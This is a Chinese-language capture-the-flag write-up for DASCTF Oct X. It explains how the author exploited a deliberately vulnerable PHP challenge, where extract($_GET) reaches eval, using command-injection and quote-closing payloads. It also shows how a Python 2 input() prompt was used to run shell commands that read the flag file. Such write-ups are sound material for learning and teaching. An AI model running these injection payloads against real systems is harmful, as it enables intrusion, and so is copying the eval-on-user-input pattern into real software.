DASCTF Oct X web

Web 欢迎来到魔法世界

打开容器，即进行php代码审计

<?php
highlight_file('index.php');extract($_GET);//将GET方式传递的参数赋值
error_reporting(0);
function String2Array($data)//eval那里存在命令执行
{
    if($data == '') return array();@eval("\$array = $data;");return $array;
}if(is_array($attrid) && is_array($attrvalue))//需要传入的参数都是数组
{
    //这段代码我总结是一个php代码闭合的过程$attrstr .= 'array(';$attrids = count($attrid);for($i=0; $i<$attrids; $i++){
    $attrstr .= '"'.intval($attrid[$i]).'"=>'.'"'.$attrvalue[$i].'"';if($i < $attrids-1){
    $attrstr .= ',';}}$attrstr .= ');';
}String2Array($attrstr);

我的解法

但是比赛的时候，我刚开始一直在想中间那一段代码需要怎么构造，才能够命令执行，审了好大会儿，然后忽然发现，如果下面这个判断不成立的话， 那么就不用进行构造了

f(is_array($attrid) && is_array($attrvalue))

而代码的开头有extract($_GET);，可以直接进行赋值，所以我们可以直接传参attrstr

?attrstr=system('ls');

哈哈哈，回显表明方法可行，然后查看根目录/，发现有个flag.sh，价值不大。。。。。
查看phpinfo()，可以找到flag

?attrstr=phpinfo();

师傅的wp

之后和Cubestone师傅交流的时候，师傅用的比较正规的解法，学习一下

?attrid[]=1&attrvalue[]=");phpinfo();$a=("

有几个要注意的地方

1. count()函数返回数组中元素的个数，那么attrid数组，传一个元素进去即可

$attrids = count($attrid);

2. payload中的前两个参数是数组形式
3. 需要闭合"，payload中最后的$a=(“就是为了闭合”

Misc WELCOME DASCTFxJlenu

nc连接

nc node4.buuoj.cn 29020

然后利用python2的input漏洞（我把它和python的模板注入联系在一起了）

__import__('os').system('ls /')
发现flag.txt
__import__('os').system('cat /flag.txt')

得flag